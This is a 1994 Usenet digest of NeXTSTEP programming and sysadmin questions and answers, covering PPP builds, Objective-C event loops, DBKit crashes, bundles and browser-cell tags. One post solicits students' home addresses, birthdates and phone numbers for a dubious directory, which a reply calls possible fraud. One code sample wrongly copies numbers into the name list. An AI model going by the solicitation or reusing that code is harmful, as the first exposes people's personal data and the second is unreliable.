From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.sysadmin,comp.sys.next.programmer Subject: Re: PPP on NeXTStep 3.2 Date: 7 Mar 1994 14:45:31 -0000 Organization: me organised, that's a joke. Message-ID: <2lfemb$58p@steffi.demon.co.uk> References: <CMA3sq.AHA@ariel.cs.yorku.ca> cs911409@ariel.cs.yorku.ca (RICHARD DAVID ASPINALL) wrote in comp.sys.next.sysadmin,comp.sys.next.programmer > > Has anyone compiled and installed PPP to run on NeXTSTEP 3.2. >When I tried to compile I got the following error messages: > >ppp.c: In function `timeout': >ppp.c:636: sizeof applied to an incomplete type >ppp.c:640: invalid use of undefined type `struct callout' >..... >ppp.c: In function `untimeout': >ppp.c:700: invalid use of undefined type `struct callout' >ppp.c:700: dereferencing pointer to incomplete type >.... > >anyway I know callout is defined, or at least it listed in >/NextDeveloper/Headers/bsd/sys/callout.h and the file is included ... >as > #include <sys/callout.h> > >I also tried explicitly importing it with a line like > > #include "/NextDeveloper/Headers/bsd/sys/callout.h" > >I suppose I could copy the structure definition over into ppp.h, but >that seems like the wrong thing :) to do. > >Any guidance offered will be gladly accepted, > >David > >NEXTMAIL WELCOME .. any size :) > >-- >David Aspinall ---------- Just Another Student Object :) >E-mail : cs911409@ariel.cs.yorku.ca | It Takes down my >NeXTMail: dave@huma.yorku.ca | pants and Torments me! >V-mail : (416) 663-4997 | -- Dieter There is a next ppp done on cs.orst.edu in pub/next/comms I think. Same archive just updated for NS3.0 I played with this last week and decided that due to lack of documentation that I wouldn't install it over SLIP. However, I've been informed that there are a number of PPP projects underway at the moment which should be seeing light of day real soon. My advice is to use SLIP and wait for a _solid_ PPP implementation to become available. BTW: Anybody know if Transys are writing a PPP encapsulator for PNI? -- "You know what's wrong with you?" (Audrey Hepburn, Cary Grant) "No, what?" "Nothing" (Charade, 1963) (ASCII for text only messages)
From: kunkee@sugar.NeoSoft.COM (Randy Kunkee) Newsgroups: comp.sys.next.sysadmin,comp.sys.next.programmer Subject: Re: PPP on NeXTStep 3.2 (and 3.1 eval kit?) Date: 7 Mar 1994 10:26:36 -0600 Organization: NeoSoft Internet Services +1 713 684 5969 Message-ID: <2lfkjs$2c7@sugar.NeoSoft.COM> References: <CMA3sq.AHA@ariel.cs.yorku.ca> In article <CMA3sq.AHA@ariel.cs.yorku.ca>, RICHARD DAVID ASPINALL <cs911409@ariel.cs.yorku.ca> wrote: > > Has anyone compiled and installed PPP to run on NeXTSTEP 3.2. >When I tried to compile I got the following error messages: > > [ error details deleted ] > >Any guidance offered will be gladly accepted, > >David > >NEXTMAIL WELCOME .. any size :) > >-- >David Aspinall ---------- Just Another Student Object :) >E-mail : cs911409@ariel.cs.yorku.ca | It Takes down my >NeXTMail: dave@huma.yorku.ca | pants and Torments me! >V-mail : (416) 663-4997 | -- Dieter I don't suppose this helps much, but I pulled ppp-0.3.tar.gz from cs.orst.edu a few days ago and compiled it flawlessly on my NSI 3.1 eval kit. Only problem I have, is I don't seem to know how to rebuild a kernel on this thing. Installing packages is fine; I've added SCSI tape support and replaced the serial driver. But I can't find a 'conf' directory anywhere! Can somebody give me a clue, or is it just not possible? -- Randy Kunkee Self Employed 713-870-1334 kunkee@sugar.neosoft.com
From: bakker@cyclon.aoml.erl.gov (Cary Bakker) Newsgroups: comp.sys.next.programmer Subject: Re: #define ACTIVERBUTTONMASK (NX_RMOUSEUPMASK|NX_RMOUSEDRAGGEDMASK) Date: 7 Mar 1994 16:56:14 GMT Organization: U.S. Department of Commerce, NOAA/AOML Distribution: world Message-ID: <2lfmbe$4ah@wave.aoml.erl.gov> References: <2lf8at$787@aplcomm.jhuapl.edu> I threw something like this together a while ago. In article <2lf8at$787@aplcomm.jhuapl.edu> jds@aplexus.jhuapl.edu (John D Stanhope) writes: > > I need a little help in trying to determine why the below method doesn't work. > > Here's the offending method > > - rightMouseDown:(NXEvent *)theEvent > { > int oldMask; > NXPoint start = theEvent->location; > NXPoint end = theEvent->location; > id line; > > oldMask = [window addToEventMask:ACTIVERBUTTONMASK]; > > [self convertPoint:&start fromView:nil]; > > [line startLine:&start]; > [line endLine:&start]; > > while (theEvent->type != NX_RMOUSEUP) > { > theEvent = [NXApp getNextEvent:ACTIVERBUTTONMASK]; > You either deleted or forgot to reset end here with: end = theEvent->location; Everything else looks fine ???? ;) If you haven't already, you might want to look up PSsetinstance() and PSnewinstance().... Luckily I ran across these when I needed them.... > [self convertPoint:&end fromView:nil]; > [line endLine:&end]; > [self display]; > } > [window setEventMask:oldMask]; > return self; > } > > > Any help would be appreciated, and yes I did look through the Draw examples but > that is the most disturbing and hard to follow mouseDown I can imagine. > > --jds > > ---------------------------------------------------- > Otto "Apes don't read philoshpy" > Wanda "Yes they do, they just don't understand it" > ---------------------------------------------------- -- ------------------------------------------------------------------------- Cary A. Bakker | Music is the pleasure the human soul C.S. Major | experiences from counting without FLorida International University | being aware that it is counting... NeXT Programmer | NOAA/AOML | -- Gottfried W. Leibniz
From: bakker@cyclon.aoml.erl.gov (Cary Bakker) Newsgroups: comp.sys.next.programmer Subject: Re: #define ACTIVERBUTTONMASK (NX_RMOUSEUPMASK|NX_RMOUSEDRAGGEDMASK) Date: 7 Mar 1994 16:58:46 GMT Organization: U.S. Department of Commerce, NOAA/AOML Distribution: world Message-ID: <2lfmg6$4bb@wave.aoml.erl.gov> References: <2lf8at$787@aplcomm.jhuapl.edu> In article <2lf8at$787@aplcomm.jhuapl.edu> jds@aplexus.jhuapl.edu (John D Stanhope) writes: > > I need a little help in trying to determine why the below method doesn't work. > > Here's the offending method > > - rightMouseDown:(NXEvent *)theEvent > { /* stuff munched here.... */ > while (theEvent->type != NX_RMOUSEUP) > { > theEvent = [NXApp getNextEvent:ACTIVERBUTTONMASK]; > You either deleted or forgot to reset end here with: end = theEvent->location; Everything else looks fine ???? ;) If you haven't already, you might want to look up PSsetinstance() and PSnewinstance().... Luckily I ran across these when I needed them.... -- ------------------------------------------------------------------------- Cary A. Bakker | Music is the pleasure the human soul C.S. Major | experiences from counting without FLorida International University | being aware that it is counting... NeXT Programmer | NOAA/AOML | -- Gottfried W. Leibniz
From: bakker@cyclon.aoml.erl.gov (Cary Bakker) Newsgroups: comp.sys.next.programmer Subject: Re: #define ACTIVERBUTTONMASK (NX_RMOUSEUPMASK|NX_RMOUSEDRAGGEDMASK) Date: 7 Mar 1994 16:59:07 GMT Organization: U.S. Department of Commerce, NOAA/AOML Distribution: world Message-ID: <2lfmgr$4bp@wave.aoml.erl.gov> References: <2lf8at$787@aplcomm.jhuapl.edu> In article <2lf8at$787@aplcomm.jhuapl.edu> jds@aplexus.jhuapl.edu (John D Stanhope) writes: > > I need a little help in trying to determine why the below method doesn't work. > > Here's the offending method > > - rightMouseDown:(NXEvent *)theEvent > { /* stuff munched here.... */ > while (theEvent->type != NX_RMOUSEUP) > { > theEvent = [NXApp getNextEvent:ACTIVERBUTTONMASK]; > You either deleted or forgot to reset end here with: end = theEvent->location; Everything else looks fine ???? ;) If you haven't already, you might want to look up PSsetinstance() and PSnewinstance().... Luckily I ran across these when I needed them.... -- ------------------------------------------------------------------------- Cary A. Bakker | Music is the pleasure the human soul C.S. Major | experiences from counting without FLorida International University | being aware that it is counting... NeXT Programmer | NOAA/AOML | -- Gottfried W. Leibniz
Newsgroups: comp.sys.next.programmer From: drew@fnbc.com (Drew Davidson) Subject: Re: MyText doesn't scroll inside ScrollView Message-ID: <1994Mar7.165326.10855@fnbc.com> Sender: news@fnbc.com Organization: First National Bank Of Chicago, Chicago IL, USA References: <2laaga$b5q@news.delphi.com> Date: Mon, 7 Mar 94 16:53:26 GMT In article <2laaga$b5q@news.delphi.com> karl_rit@news.delphi.com (KARL_RITTER@DELPHI.COM) writes: > I am having the following problem. I subclassed the Text object, call it > MyText, and I made it the docView of a ScrollView (via the IB). For some > reasons, when MyText changes size, the ScrollView does not reflect this. > No scrollers! I know that MyText grows because when typing outside the > view, the text is displayed after the window is resized. > [deleted] > > > Karl > karl_ritter@delphi.com The problem is that using "Group in Scrollview" actually makes a new generic View the docView of the ScrollView, then adds your views as subviews of that. The solution is to set the docView programmatically. - Drew -- +--------------------------------+---------------------------------------+ | Drew Davidson - Software Guy | "When I'm a good dog they sometimes | | First National Bank of Chicago | throw me a bone..." | | drew@fnbc.com (NeXTmail) | - Pink Floyd | +--------------------------------+---------------------------------------+
From: alanl@MCS.COM (Alan Losoff) Newsgroups: comp.sys.next.programmer Subject: Re: c<->c++ linkage conventions? Date: 7 Mar 1994 11:46:20 -0600 Organization: MCSNet, Chicago's First Public-Access Internet Provider! Message-ID: <2lfp9c$lne@Mercury.mcs.com> References: <2l8l43$fig@netnews.upenn.edu> In article <2l8l43$fig@netnews.upenn.edu>, Joe Panico <joe@retina.anatomy.upenn.edu> wrote: > > >I'm calling c++ functions (not member functions), which reside in >.cc files, from c source code, living in .c files. I'm compiling >both together (no libraries involved) with the g++ on NSI 3.2. >There seems to be some linkage convention incompatability. >Specifically: > [stuff deleted] >It's well documented how to specify c linkage convention to c++ source >(extern "C"...), but how does one specify c++ linkage convention to >c source? > One doesn't. C++ is backward compatible -- able to call and define C linkages, but C can't be forward compatible. C doesn't know and can't be told about C++. >Any tips appreciated. Thanks. > You either have to do an "extern C" when you define the function in the c++ file, or create a bridge function in the cpp file. >Joe Panico >joe@retina.anatomy.upenn.edu > al losoff alanl@mcs.net
From: bakker@cyclon.aoml.erl.gov (Cary Bakker) Newsgroups: comp.sys.next.programmer Subject: Re: #define ACTIVERBUTTONMASK (NX_RMOUSEUPMASK|NX_RMOUSEDRAGGEDMASK) Date: 7 Mar 1994 17:00:04 GMT Organization: U.S. Department of Commerce, NOAA/AOML Distribution: world Message-ID: <2lfmik$4d4@wave.aoml.erl.gov> In article <2lf8at$787@aplcomm.jhuapl.edu> jds@aplexus.jhuapl.edu (John D Stanhope) writes: > > I need a little help in trying to determine why the below method doesn't work. > > Here's the offending method > > - rightMouseDown:(NXEvent *)theEvent > { /* stuff munched here.... */ > while (theEvent->type != NX_RMOUSEUP) > { > theEvent = [NXApp getNextEvent:ACTIVERBUTTONMASK]; > You either deleted or forgot to reset end here with: end = theEvent->location; Everything else looks fine ???? ;) If you haven't already, you might want to look up PSsetinstance() and PSnewinstance().... Luckily I ran across these when I needed them.... --CB -- ------------------------------------------------------------------------- Cary A. Bakker | Music is the pleasure the human soul C.S. Major | experiences from counting without FLorida International University | being aware that it is counting... NeXT Programmer | NOAA/AOML | -- Gottfried W. Leibniz
Newsgroups: comp.sys.next.programmer From: tom@basil.icce.rug.nl (Tom R.Hageman) Subject: Re: Library for _getcwd ? (Mosaic) Message-ID: <CMB088.D1@basil.icce.rug.nl> Sender: tom@basil.icce.rug.nl (Tom R.Hageman) Organization: Lofty Waters References: <2lc9cd$nfu@nic-nac.CSU.net> Date: Mon, 7 Mar 1994 16:52:53 GMT In article <2lc9cd$nfu@nic-nac.CSU.net> eps@futon.SFSU.EDU (Eric P. Scott) writes: > Gee, I wonder what kind of machines NCSA uses for development? > According to DNS, their favorite UNIX systems are Suns. > (No surprise there.) Funny, Sun's man page for getcwd() quite > specifically advises against using it--suggesting getwd() as the > preferred replacement. OTOH getcwd() is preferred (oops sorry, mandated that is) by POSIX.1... -- __/__/__/__/ Tom Hageman (tom@basil.icce.rug.nl) [NeXTMail accepted] __/ __/_/ __/__/__/ "...to baldly go where no one has gone before." __/ _/_/ -- star trek TNG
From: Charles William Swiger <infidel+@CMU.EDU> Newsgroups: comp.sys.next.programmer,comp.sys.next.sysadmin Subject: Re: PPP on NeXTStep 3.2 (and 3.1 eval kit?) Date: Mon, 7 Mar 1994 14:26:47 -0500 Organization: Carnegie Mellon, Pittsburgh, PA Message-ID: <khSrzrm00iUyA6BM58@andrew.cmu.edu> In-Reply-To: <2lfkjs$2c7@sugar.NeoSoft.COM> Excerpts from netnews.comp.sys.next.programmer: 7-Mar-94 Re: PPP on NeXTStep 3.2 (an.. by Randy Kunkee@sugar.NeoSo > I don't suppose this helps much, but I pulled ppp-0.3.tar.gz from > cs.orst.edu a few days ago and compiled it flawlessly on my NSI 3.1 > eval kit. Only problem I have, is I don't seem to know how to > rebuild a kernel on this thing. Installing packages is fine; I've > added SCSI tape support and replaced the serial driver. But I can't > find a 'conf' directory anywhere! Can somebody give me a clue, or > is it just not possible? It's not possible; NeXT does not provide the facilities to build a kernel with NEXTSTEP. What you can do is create a 'loadable kernel module', which will provide additional functionality without needing to change the kernel. This method is how Transys' DialUpIp SLIP package operates. Take a look-see at that under DL, and also take a look at the 'kl_util' program. -Chuck Charles William Swiger - WhiteLight Systems | "All the world's a stage, and" --------------------------------------------+ "we are merely players...." AMS & normal mail: infidel@cmu.edu | NeXTmail: chuck@cswiger.slip.andrew.cmu.edu | "Semper ubi sub ubi."
Newsgroups: comp.sys.next.programmer From: gerti@tms-gmbh.de (Gerd Knops) Subject: Re: archiving objects Message-ID: <CMB2Ao.1rs@tms-gmbh.de> Sender: usenet@tms-gmbh.de Organization: tms GmbH, Regensburg, Germany References: <CM9MLJ.L2C@usenet.ucs.indiana.edu> Date: Mon, 7 Mar 1994 17:37:35 GMT Check out NXWriteObjectReference(). Gerd In article <CM9MLJ.L2C@usenet.ucs.indiana.edu> bbernhar@silver.ucs.indiana.edu (benjamin bernhard) writes: > Does Nextstep provide any graph traversal help for archiving objects? > In other words: > With a nested tree structure with at least objects A and B, > if Object A contains a reference to Object B > and Object B contains a reference to Object A, > objects in this structure can not be archived through recursive calls. > What common methods are employed to avoid this > problem? Is there a supplied archive method that will be intelligent > about telling each object to archive itself? > > Help much appreciated, I'm not in the mood to write a garbage > collector. > > thanks, > ben > > -- > __________________________________________________________________________ > Ben Bernhard "Nothing that results from human progress > 812/339-5304 (fax) is achieved with unanimous consent." > bbernhar@cs.indiana.edu ---Christopher Columbus
Newsgroups: comp.sys.next.programmer From: dgoodman@is.rpslmc.edu (Dave Goodman) Subject: DBKit bug with consecutive fetches? Message-ID: <1994Mar7.201438.7448@rpslmc.edu> Keywords: DBKit, bug Sender: news@rpslmc.edu Organization: Rush-Presbyterian-St. Luke's Medical Center Date: Mon, 7 Mar 1994 20:14:38 GMT Hi, I am having a problem with DBKit that is both strange and frustrating. FYI, I'm running NS3.2 on both black and white hardware. I am connecting to a Sybase server on a Sun Sparcstation with the adaptor called SybaseAdaptor. The problem is that I am trying to do a fetch from a database view and my application (sometimes) crashes on the second fetch. I can't consistently cause the crash, so I am having trouble tracking it down. The problem is also not picky about hardware, it pops up periodically on both black and white hardware. I have a view defined as: create view NEXT_SOUND_ID as select NEXT = max(SOUNDS.SOUND_ID)+1 from SOUNDS go which I use to generate a sequence number for ID's in the table called SOUNDS. In Obj-C, I do the following: //=========================================== DBValue *soundID = [[DBValue alloc] init]; DBValue *dateTimeStamp = [[DBValue alloc] init]; DBRecordList *nextSoundIDList = [[nextSoundIDModule rootFetchGroup] recordList]; id <DBProperties>nextSoundIDProp = [[nextSoundIDModule entity] propertyNamed:"NEXT"]; DBExpression *dateTime = [[DBExpression alloc] initForEntity:[nextSoundIDModule entity] fromDescription:"getdate()"]; [nextSoundIDList empty]; [[nextSoundIDModule rootFetchGroup] addExpression:dateTime]; [nextSoundIDModule fetchAllRecords:self]; [nextSoundIDList getValue:soundID forProperty:nextSoundIDProp]; [nextSoundIDList getValue:dateTimeStamp forProperty:dateTime]; .. //=========================================== The last time it crashed, the top of the stack looked like this: #0 0x5007974 in kill () #1 0x3ffe47c in Dbsl () #2 0x5053fd2 in abort () #3 0x5037dce in _objc_error () #4 0x5037d76 in __objc_error () #5 0x5036188 in _freedHandler () #6 0xb014698 in -[DBRecordStream setProperties:ofSource:] () #7 0xb021e60 in -[DBFetchGroup fetchContentsOf:usingQualifier:] () #8 0xb024a74 in -[DBModule fetchContentsOf:usingQualifier:] () #9 0xb024608 in -[DBModule fetchAllRecords:] () I am wondering if I am somehow leaving that module in a bad state because it does not happen consistently. It does, however seem to happen more often if the two fetches follow one another closely in time. Do any of you have a clue as to why this is happening? -Dave ============================================ = David I. Goodman N[eE]XTSTEP Developer = = Single Source Systems, Inc. = = dgoodman@is.rpslmc.edu = ============================================ Disclaimer: No statements made in this article should be construed to reflect the opinions of Rush-Presbyterian-St. Luke's Medical Center or Single Source Systems. All opinions are wholly my own, and I am solely responsible for my statements.
Newsgroups: comp.sys.next.programmer From: byer@mv.us.adobe.com (Scott Byer) Subject: Re: Objective C on non-NeXT Unix? In-Reply-To: joe@retina.anatomy.upenn.edu's message of 6 Mar 1994 17:19:22 GMT Message-ID: <BYER.94Mar7122456@embassy.mv.us.adobe.com> Sender: usenet@adobe.com (USENET NEWS) Organization: Adobe Systems Incorporated, Mountain View, CA References: <2ld3aq$hqv@netnews.upenn.edu> Date: Mon, 7 Mar 1994 20:24:56 GMT Joe Panico writes: Joe> The version of gcc we are running on our IBM RS/6000 (AIX), ver Joe> 3.2.2, claims to be able to compile objective-c. But isn't a special Joe> run-time system required to run objective-c programs? Can this Joe> environment be created under AIX (or other Unixes)? If so, are the NeXT Joe> obj-c libraries available to be compiled on other Unix platforms? Any Joe> clues apprecaited. There is now a gnu ObjC runtime. Grab it off of prep.ai.mit.edu... -- Scott Byer NeXTMail: byer@mv.us.adobe.com Adobe Systems Incorporated These are *my* opinions, and 1585 Charleston Road, P.O. Box 7900 do not necessarily reflect Mountain View, CA 94039-7900 the opinions of my employer. ---------------------------------------------------------------------
Newsgroups: comp.sys.next.programmer From: yanik@planon.qc.ca (Yanik Crepeau) Subject: Re: "Help: NXBundle" Message-ID: <1994Mar7.172023.17484@planon.qc.ca> Sender: yanik@planon.qc.ca (Yanik Crepeau) References: <2l92oe$eah@larch.cc.swarthmore.edu> Date: Mon, 7 Mar 1994 17:20:23 GMT In article <2l92oe$eah@larch.cc.swarthmore.edu> he@engin.swarthmore.edu (Ye He) writes: > As the manual says, "mainBundle" corresponds to an application file package, > a DIRECTORY that bears the name of the app. and is marked by a ".app" > extension. I am really confused here, anything that bears a ".app" > extenstion won't be considered a directory by the computer at all. > So what's the mainBundle? And what's the "app" here? > Please reply to he@engin.swarthmore.edu. Thanks alot! > > -Ye a file.app is actualy a directory. In Worspace Manager, under the "File" menu, you will find a sub-menu labeled as "Open as Folder". That will open any .app folder you need to open. There are many kind of directories with special extentions that look like a file but are actualy folders. The .rtfd, .draw, .bundle, .nib are good examples. In the NeXTSTEP terminology, these directory-that-looks-like-a-file are named "wrappers". A bundle is an object (member of the class NXBundle) that is mapped in the unix file system as a wrapper. The [NXApp mainbundle] always return the bundle of the application. If you manualy/dynamicaly load classes after launch time, you will tell the system in which directory/wrapper/bundle these classes can be found. In that directory you can also find nib, string table, lproj folders, tiff, sound, eps etc. Bundles are wonderfull tools. It is an important topic covered by the "Advanced NeXTSTEP" training. Yanik -- Yanik Crepeau The power of OOP used to stop when Programmer the programmer typed "make". With Planon Telexpertise NEXTSTEP and PDO, that is not true E-Mail: yanik@planon.qc.ca (NeXT) anymore!
From: duncan@groucho.nacm.com (Duncan Wilcox) Newsgroups: comp.sys.next.programmer Subject: SYBASE POSITION Date: 7 Mar 1994 21:39:56 GMT Organization: CERFnet Message-ID: <2lg6vc$o96@news.cerf.net> Keywords: sybase unix sun c rdbms Sybase Developer / Admin * Demonstrable strength in RDB analysis and T-SQL programming * Experience working in a UNIX environment * Experience in Sybase DB Admin * C / Objective C experience a plus * Very hands on, roll up your sleeves & get dirty position * Knowledge of the securities / investment industry a plus * Focus is on Design & Development skills with minimal DBA in the early phases. Will hire junior person to perfom DBA work under your supervision within 6 to 9 months of start up. Nicholas-Applegate Capital Management NACM, a progressive, high-energy money management firm located in downtown San Diego has job openings for a full-time Sybase developer/engineer. Compensation for each position will be comensurate with experience, and includes an outstanding benefits package (medical, dental, profit sharing plan, education reimbursement, vacation). NACM is developing a state-of-the-art, real-time trading support system based on Sybase, Sun, HP and NeXT. Please Contact : Duncan Wilcox duncan@nacm.com 600 West Broadway San Diego, CA 92101 (619) 687-2916 / Beeper (619) 494-1137
Newsgroups: comp.sys.next.programmer From: msb@plexare.com (Michael S. Barthelemy) Subject: Re: what is a (const char*const *) & how? Message-ID: <1994Mar6.175702.5321@plexare.com> Sender: usenet@plexare.com Organization: Plexare Development Corporation References: <2l790m$fg1@gpo.gb.swissbank.com> Date: Sun, 6 Mar 1994 17:57:02 GMT griffid@gb.swissbank.com (Dave Griffiths) writes: > Robert La Ferla <Robert_La_Ferla@hot.com> writes: > |> It is a constant pointer to a constant character pointer or in other > |> words a non-changeable list of non-changeable strings. > |> > |> Here's how to create them: > |> > |> const char *names[] = {"Joe Slider", "David Button", "Rob Switch"}; > |> const char *numbers[] = {"5551212", "5778500", "5552000"}; > > Might be an idea to change that to: > > const char *names[] = {"Joe Slider", "David Button", "Rob Switch", 0}; > const char *numbers[] = {"5551212", "5778500", "5552000", 0}; > > Since the faxPSCode method has no parameter to tell it how many entries > are in the list, so it presumably expects null-termination. Of-course this only works if you're going to hard-code who's going to get your faxes -- nasty! ;-) Here is a malloc version. Modification to work with NeXT's malloc functions and zones is left as an exercise to the reader. Then just call: [viewObject faxPSCode:sender toList:[myObject nameList] numberList:[myObject numberList] ...]; You shouldn't get so much as a warning. Mike Barthelemy NEXTSTEP Developer msb@plexare.com --- Cut here for coding example --- Defines: #define GROWBY_SIZE 10 Instance variables: char **nameList; char **numberList; int numEntries; int maxEntries; Methods: - init { . . . numEntries = 0; maxEntries = GROWBY_SIZE; nameList = (char **)malloc(sizeof(char *) * (maxEntries + 1)); numberList = (char **)malloc(sizeof(char *) * (maxEntries + 1)); nameList[numEntries] = 0; numberList[numEntries] = 0; return self; } - free { int i; . . . for (i = 0; i < numEntries; i++) { free(nameList[i]); free(numberList[i]); } free(nameList); free(numberList); return self; } - addName:(const char *)name withNumber:(const char *)number { numEntries++; if (numEntries == maxEntries) { maxEntries += GROWBY_SIZE; nameList = (char **)realloc(nameList, sizeof(char *) * (maxEntries + 1)); numberList = (char **)realloc(numberList, sizeof(char *) * (maxEntries + 1)); } nameList[numEntries - 1] = (char *) malloc(sizeof(char) * (strlen(name) + 1)); strcpy(nameList[numEntries - 1], name); numberList[numEntries - 1] = (char *) malloc(sizeof(char) * (strlen(number) + 1)); strcpy(nameList[numEntries - 1], number); nameList[numEntries] = 0; numberList[numEntries] = 0; return self; } - (const char *const *)nameList { return (const char *const *)nameList; } - (const char *const *)numberList { return (const char *const *)numberList; }
From: markf@cory.eecs.berkeley.edu (Mark Frohnmayer) Newsgroups: comp.sys.next.programmer Subject: tags of NXBrowserCells Date: 7 Mar 1994 22:18:35 GMT Organization: University of California, Berkeley Distribution: world Message-ID: <2lg97r$o8@agate.berkeley.edu> Hi all, I'm trying to assign tags to individual browser cells in a lazy delegate's methods as follows: for(count = 0; count < numStrings; count++) { [matrix addRow]; [[matrix cellAt:count:0] setStringValue: strings[count]]; [[matrix cellAt:count:0] setTag:count]; } The string value of the cell is set fine and displays just fine, but when I try to get a selected cell's tag with: mytag = [[browser selectedCell] tag]; mytag always equals -1. Any ideas? How can I get the tag of the cell that is currently selected? Any help would be appreciated... Mark Frohnmayer markf@cory.eecs.berkeley.edu NeXTMail OK!
Newsgroups: comp.sys.next.programmer From: ecarlino@falcon.depaul.edu (Eric J. Carlino) Subject: *!STUDENTS!* Add YOUR Name to the Nat'l Student Directory !! Sender: news@hal.depaul.edu (News Admin) Organization: DePaul University, Chicago Date: Mon, 7 Mar 1994 21:55:48 GMT Message-ID: <1994Mar7.215548.16067@hal.depaul.edu> Greetings to Students across the USA: I am working on a project to compile a phone book for college/university students. The unique characteristic of this registry will be that it includes interests/hobbies that can be queried - so you can easily find other students who have similar interests as you, and begin correspondence. To make this a success, I need EVERYONE to respond! Spread the word! Make copies of this message and have ALL of your friends respond!! To respond, fill out the form below, and reply via email. It is very important that you use the form as it is below, because I have a program to parse all of the information. Just fill in your data and return this whole message as it is. Note: to anyone who has too much time on their hands and wants to mess this up by sending phony names, I have included in my program a "detective" to search for phony names and exclude them. Duplicates will also be discarded. So don't waste your time! The end result of this effort will probably a system like this: You send mail requesting all of the different categories and available values for each category on file. You only have to do this once. Then you send mail requesting a list of all students who have X value in Y category. For example, who live in a certain state, or are in a particular major, or have a certain hobby. Now you have a list of people with interests similar to your own, with whom you can correspond. OK, here is the form. Fill in as many of the fields as you can. Simply overwrite the sample entries: --==+> START FORM <+==-- First Name: John/Jane Last Name: Doe Gender: M F Birthdate: 1/1/70 email address: jd@mach.univ.edu Current ------- Address: 1 Main St City: Smallville State: XX Zip: 12345 Phone: 123/456-7890 Home ---- Address: 1 Main St City: Smallville State: XX Zip: 12345 Phone: 123/456-7890 School currently attending: U of wherever City, State of school: city, state Major (list only one): computer science Minor (list only one): accounting Degree currently seeking (list only one): B.S. B.A. M.S PhD Year in school: fr so jr sr grad Interests/hobbies (list up to a dozen, one per line, starting on next line): 1. baseball 2. fishing 3. rock 'n roll 4. etc. 5. etc. 6. etc. 7. etc. 8. etc. 9. etc. 10. etc. 11. etc. 12. etc. --==+> END FORM <+==-- Thank you for your support. I'll let everyone know when the system is ready to go on-line.
From: eps@futon.SFSU.EDU (Eric P. Scott) Newsgroups: comp.sys.next.programmer Subject: Re: *!STUDENTS!* Add YOUR Name to the Nat'l Student Directory !! Date: 8 Mar 1994 01:59:34 GMT Organization: San Francisco State University Message-ID: <2lgm66$d3f@nic-nac.CSU.net> References: <1994Mar7.215548.16067@hal.depaul.edu> Barnum was right... -=EPS=- -- Can you say "mail fraud?" I knew you could.
From: eps@futon.SFSU.EDU (Eric P. Scott) Newsgroups: comp.sys.next.programmer Subject: comp.sys.next.programmer Date: 8 Mar 1994 02:05:16 GMT Organization: San Francisco State University Message-ID: <2lgmgs$dhq@nic-nac.CSU.net> References: <2lc9cd$nfu@nic-nac.CSU.net> <CMB088.D1@basil.icce.rug.nl> In article <CMB088.D1@basil.icce.rug.nl> tom@basil.icce.rug.nl (Tom R.Hageman) writes: >OTOH getcwd() is preferred (oops sorry, mandated that is) by POSIX.1... It also mandates security holes you could fly a 747 through. What's your point? -=EPS=- -- POSIX is not good for children and other living things.
Newsgroups: comp.sys.next.programmer,comp.sys.next.software From: salmon@lgb.hill.af.mil (Keith E. Salmon) Subject: Elapsed Time Spreadsheet Function Message-ID: <CMAyuB.I6A@oodis01.hill.af.mil> Keywords: Mesa, time, function Sender: news@oodis01.hill.af.mil (News System;Unix;) Organization: Hill AFB Date: Mon, 7 Mar 1994 16:22:58 GMT I am looking for an "elapsed time" function that will take two 24-hour time-formatted inputs and give me the elapsed time between them. I need precision down to thousandth's of a sec (i.e., .001). I am using Mesa and need to do lots of elapsed time calculations. If anyone knows of or thinks they could create such a vermen for me (as my knowledge of Obj-C and C++ is extremely limited), please email me at the address below. Thanks. Keith Salmon Aerospace Engineer 545 Test Group Hill Air Force Base, Utah salmon@lgb.hill.af.mil (NeXTMail preferred)
Newsgroups: comp.sys.next.programmer From: kent@infoserv.com Subject: Re: sim56000 Message-ID: <CMB95s.5BH@infoserv.com> Sender: kent@infoserv.com (Kent L. Shephard) Organization: K. L. Shephard Consulting References: <2kv3ji$kaq@email.tuwien.ac.at> Date: Mon, 7 Mar 1994 20:05:51 GMT In article <2kv3ji$kaq@email.tuwien.ac.at> Lucas.Filz@serv.univie.ac.at (Lucas Filz) writes: #please tell me, where I can get the simulator for the DSP56000 via ftp? # #Thank you, #Lucas.Filz@serv.univie.ac.at What do you mean simulator for the 56K? Do you want a debugger? If indeed you want a simulator on what platform do you want it to run. Kent -- /* K.L. Shephard Consulting is my company. Infoserv only delivers my mail. */ /* Please direct mail to kent@infoserv.com other adresses may not work. */
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: Re: tags of NXBrowserCells Date: 8 Mar 1994 00:14:37 -0000 Organization: me organised, that's a joke. Message-ID: <2lgg1d$1hp@steffi.demon.co.uk> References: <2lg97r$o8@agate.berkeley.edu> markf@cory.eecs.berkeley.edu wrote in comp.sys.next.programmer >Hi all, > >I'm trying to assign tags to individual browser cells in a lazy delegate's >methods as follows: > >for(count = 0; count < numStrings; count++) { > [matrix addRow]; > [[matrix cellAt:count:0] setStringValue: strings[count]]; > [[matrix cellAt:count:0] setTag:count]; >} > >The string value of the cell is set fine and displays just fine, but when >I try to get a selected cell's tag with: > >mytag = [[browser selectedCell] tag]; > >mytag always equals -1. Any ideas? How can I get the tag of the cell >that is currently selected? > >Any help would be appreciated... > >Mark Frohnmayer >markf@cory.eecs.berkeley.edu >NeXTMail OK! That's becauase tag's aren't implemented in NXBrowserCells Subclass NXBrowserCell and add methods to properly set and return tag. NXBrowser NXBrowserCell tag Q: Why can't I set the tag in a browser cell? A: You have to subclass BrowserCell and add an ivar. The 'tag' and 'setTag:' methods are prototyped in the Cell class, but subclasses are responsible for allocating the storage to remember tag values. Here's the code: ------ begin AfsBrowserCell.h ------ #import <appkit/NXBrowserCell.h> @interface AfsBrowserCell:NXBrowserCell { int tag; } - setTag:(int)aTag; - (int)tag; @end ------- end AfsBrowserCell.h ------- ------ begin AfsBrowserCell.m ------ #import <afskit/AfsBrowserCell.h> @implementation AfsBrowserCell - setTag:(int)aTag { tag = aTag; return self; } - (int)tag { return tag; } @end ------- end AfsBrowserCell.m ------- Then in code, before loading the browser, you just say: [theBrowser setCellClass:[AfsBrowserCell class]]; This is probably best done in the browser controller's awake (pre-3.0) or awakeFromNib (3.0 and above) method, because a 'feature' added in 3.0 makes it possible for a browser to get its first display method before even -appDidInit. Keep in mind that all browsers using this controller will get your special type of cell, which may or may not be what you want. - awakeFromNib { [theBrowser setCellClass:[AfsBrowserCell class]]; return self; } CSNPanswers/appkit/NXBrowserTags Valid for all Source: 24/December/92 Greg 